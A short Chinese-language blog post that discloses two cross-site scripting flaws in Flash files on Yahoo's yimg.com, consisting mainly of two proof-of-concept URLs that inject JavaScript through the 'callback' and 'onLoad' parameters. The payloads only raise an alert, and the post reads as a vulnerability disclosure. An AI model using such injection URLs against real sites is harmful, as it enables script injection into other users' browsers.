n0elle's Blog

雅虎的yimg.com两个flash跨站

作者  beastk

yimg两个flash过滤不严格，存在跨站

http://mail.yimg.com/nq/mc/1_0_0/us/pim/userstatus_2.swf?url=http://www.baidu.com&callback=function(){alert(0)}()
 

http://l.yimg.com/pb/webplayer/0.9.32/flash/swfproxy.swf?onLoad=alert%280%29
 
 

本博客所有文章如无特别注明均为原创。
复制或转载请以超链接形式注明转自n0elle's Blog，原文地址《雅虎的yimg.com两个flash跨站》
标签： yimg.com • 跨站 • 雅虎
喜欢 | 0
分享：